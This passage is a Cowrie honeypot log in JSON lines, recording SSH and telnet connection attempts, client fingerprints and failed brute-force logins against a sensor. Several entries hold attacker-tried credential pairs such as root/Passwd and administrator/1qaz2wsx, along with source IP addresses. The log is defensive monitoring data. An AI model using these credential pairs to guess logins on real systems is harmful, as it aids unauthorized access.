istp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:39.025672Z","src_ip":"159.203.92.129","session":"794535acf092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1234qwer","message":"login attempt [administrator/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:39.042508Z","src_ip":"159.203.92.129","session":"794535acf092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:03:40.050669Z","src_ip":"159.203.92.129","session":"794535acf092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":59330,"dst_ip":"10.17.0.5","dst_port":22,"session":"1baf72e7a9ce","protocol":"ssh","message":"New connection: 198.98.55.71:59330 (10.17.0.5:22) [session: 1baf72e7a9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:09.225674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:09.230918Z","src_ip":"198.98.55.71","session":"1baf72e7a9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:09.236256Z","src_ip":"198.98.55.71","session":"1baf72e7a9ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passwd","message":"login attempt [root/Passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:09.287522Z","src_ip":"198.98.55.71","session":"1baf72e7a9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:10.297279Z","src_ip":"198.98.55.71","session":"1baf72e7a9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":42032,"dst_ip":"10.17.0.5","dst_port":23,"session":"56c08545fb90","protocol":"telnet","message":"New connection: 149.210.189.202:42032 (10.17.0.5:23) [session: 56c08545fb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:17.738740Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":44226,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d9aac12480","protocol":"telnet","message":"New connection: 149.210.189.202:44226 (10.17.0.5:23) [session: 45d9aac12480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:20.347234Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47372,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1e52f4f7254","protocol":"ssh","message":"New connection: 159.203.92.129:47372 (159.203.135.109:22) [session: a1e52f4f7254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:22.814695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:22.823604Z","src_ip":"159.203.92.129","session":"a1e52f4f7254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:22.828701Z","src_ip":"159.203.92.129","session":"a1e52f4f7254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1qaz2wsx","message":"login attempt [administrator/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:22.838799Z","src_ip":"159.203.92.129","session":"a1e52f4f7254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:23.845541Z","src_ip":"159.203.92.129","session":"a1e52f4f7254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":47784,"dst_ip":"10.17.0.5","dst_port":23,"session":"a625947afa07","protocol":"telnet","message":"New connection: 149.210.189.202:47784 (10.17.0.5:23) [session: a625947afa07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:24.598415Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":49816,"dst_ip":"10.17.0.5","dst_port":23,"session":"7717ca8b1086","protocol":"telnet","message":"New connection: 149.210.189.202:49816 (10.17.0.5:23) [session: 7717ca8b1086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:27.336824Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":50014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb7bf220d3a","protocol":"telnet","message":"New connection: 149.210.189.202:50014 (10.17.0.5:23) [session: 6cb7bf220d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:27.507024Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":52934,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecd48cec1ddd","protocol":"telnet","message":"New connection: 149.210.189.202:52934 (10.17.0.5:23) [session: ecd48cec1ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:31.217307Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":56536,"dst_ip":"10.17.0.5","dst_port":23,"session":"298db39c7ab9","protocol":"telnet","message":"New connection: 149.210.189.202:56536 (10.17.0.5:23) [session: 298db39c7ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:35.147166Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":34938,"dst_ip":"10.17.0.5","dst_port":23,"session":"05fc643bb593","protocol":"telnet","message":"New connection: 149.210.189.202:34938 (10.17.0.5:23) [session: 05fc643bb593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:42.632546Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":39238,"dst_ip":"10.17.0.5","dst_port":23,"session":"615c6c7a2fc8","protocol":"telnet","message":"New connection: 149.210.189.202:39238 (10.17.0.5:23) [session: 615c6c7a2fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:47.372240Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":39700,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5fc017d0d9","protocol":"telnet","message":"New connection: 149.210.189.202:39700 (10.17.0.5:23) [session: 8e5fc017d0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:47.784542Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":46746,"dst_ip":"10.17.0.5","dst_port":23,"session":"e63024badbf3","protocol":"telnet","message":"New connection: 124.217.230.40:46746 (10.17.0.5:23) [session: e63024badbf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:47.794196Z"}
{"eventid":"cowrie.session.closed","duration":30.312938928604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:48.051560Z","src_ip":"149.210.189.202","session":"56c08545fb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":40308,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf8f62a4cc68","protocol":"telnet","message":"New connection: 149.210.189.202:40308 (10.17.0.5:23) [session: cf8f62a4cc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:48.490825Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":48794,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c16355ae49","protocol":"telnet","message":"New connection: 124.217.230.40:48794 (10.17.0.5:23) [session: 59c16355ae49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:50.656435Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":48810,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9901d05b76","protocol":"telnet","message":"New connection: 124.217.230.40:48810 (10.17.0.5:23) [session: db9901d05b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:50.660797Z"}
{"eventid":"cowrie.session.closed","duration":30.807728052139282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:51.154852Z","src_ip":"149.210.189.202","session":"45d9aac12480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":42510,"dst_ip":"10.17.0.5","dst_port":23,"session":"51355b44fa1b","protocol":"telnet","message":"New connection: 149.210.189.202:42510 (10.17.0.5:23) [session: 51355b44fa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:51.260597Z"}
{"eventid":"cowrie.session.closed","duration":30.47260880470276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:55.070893Z","src_ip":"149.210.189.202","session":"a625947afa07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":47614,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf5a9bdf8bff","protocol":"telnet","message":"New connection: 149.210.189.202:47614 (10.17.0.5:23) [session: cf5a9bdf8bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:57.137054Z"}
{"eventid":"cowrie.session.closed","duration":30.643925189971924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:58.150842Z","src_ip":"149.210.189.202","session":"6cb7bf220d3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":48490,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac6a640cc23","protocol":"telnet","message":"New connection: 149.210.189.202:48490 (10.17.0.5:23) [session: 2ac6a640cc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:58.231295Z"}
{"eventid":"cowrie.session.closed","duration":31.008772611618042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:58.345504Z","src_ip":"149.210.189.202","session":"7717ca8b1086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":48758,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2dab962a225","protocol":"telnet","message":"New connection: 149.210.189.202:48758 (10.17.0.5:23) [session: c2dab962a225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:04:58.454360Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":50366,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0da6d152ad5","protocol":"telnet","message":"New connection: 149.210.189.202:50366 (10.17.0.5:23) [session: c0da6d152ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:00.353068Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":33232,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9046f8cabd3","protocol":"telnet","message":"New connection: 124.217.230.40:33232 (10.17.0.5:23) [session: f9046f8cabd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:00.827862Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":51250,"dst_ip":"10.17.0.5","dst_port":23,"session":"78dddc4556b6","protocol":"telnet","message":"New connection: 149.210.189.202:51250 (10.17.0.5:23) [session: 78dddc4556b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:01.521372Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":57746,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d27ea0ad5af","protocol":"ssh","message":"New connection: 198.98.55.71:57746 (10.17.0.5:22) [session: 9d27ea0ad5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:02.052949Z"}
{"eventid":"cowrie.session.closed","duration":30.841782569885254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:02.058952Z","src_ip":"149.210.189.202","session":"ecd48cec1ddd","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:02.070754Z","src_ip":"198.98.55.71","session":"9d27ea0ad5af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:02.090991Z","src_ip":"198.98.55.71","session":"9d27ea0ad5af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456.","message":"login attempt [root/Qwe123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:02.147453Z","src_ip":"198.98.55.71","session":"9d27ea0ad5af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:03.155560Z","src_ip":"198.98.55.71","session":"9d27ea0ad5af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":37020,"dst_ip":"10.17.0.5","dst_port":23,"session":"5483fc385b3f","protocol":"telnet","message":"New connection: 124.217.230.40:37020 (10.17.0.5:23) [session: 5483fc385b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:03.800637Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":38910,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a5c10b5985","protocol":"telnet","message":"New connection: 124.217.230.40:38910 (10.17.0.5:23) [session: 09a5c10b5985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:05.750029Z"}
{"eventid":"cowrie.session.closed","duration":30.902581453323364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:06.049631Z","src_ip":"149.210.189.202","session":"298db39c7ab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":55154,"dst_ip":"10.17.0.5","dst_port":23,"session":"89e11638ea83","protocol":"telnet","message":"New connection: 149.210.189.202:55154 (10.17.0.5:23) [session: 89e11638ea83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:07.083364Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":39922,"dst_ip":"10.17.0.5","dst_port":23,"session":"55ace912b921","protocol":"telnet","message":"New connection: 124.217.230.40:39922 (10.17.0.5:23) [session: 55ace912b921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:07.618840Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":42550,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e507dedfd5","protocol":"telnet","message":"New connection: 124.217.230.40:42550 (10.17.0.5:23) [session: 51e507dedfd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:08.670789Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":15226,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa29a9bec019","protocol":"ssh","message":"New connection: 125.166.19.90:15226 (159.203.135.109:22) [session: aa29a9bec019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:09.031742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:09.038086Z","src_ip":"125.166.19.90","session":"aa29a9bec019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":56628,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ceb14064c9","protocol":"telnet","message":"New connection: 149.210.189.202:56628 (10.17.0.5:23) [session: d7ceb14064c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:09.233113Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:09.316174Z","src_ip":"125.166.19.90","session":"aa29a9bec019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.210.189.202","src_port":56918,"dst_ip":"10.17.0.5","dst_port":23,"session":"56dc5c575d2f","protocol":"telnet","message":"New connection: 149.210.189.202:56918 (10.17.0.5:23) [session: 56dc5c575d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:09.549684Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.230.40","src_port":43810,"dst_ip":"10.17.0.5","dst_port":23,"session":"71d1329793d1","protocol":"telnet","message":"New connection: 124.217.230.40:43810 (10.17.0.5:23) [session: 71d1329793d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:05:09.649867Z"}
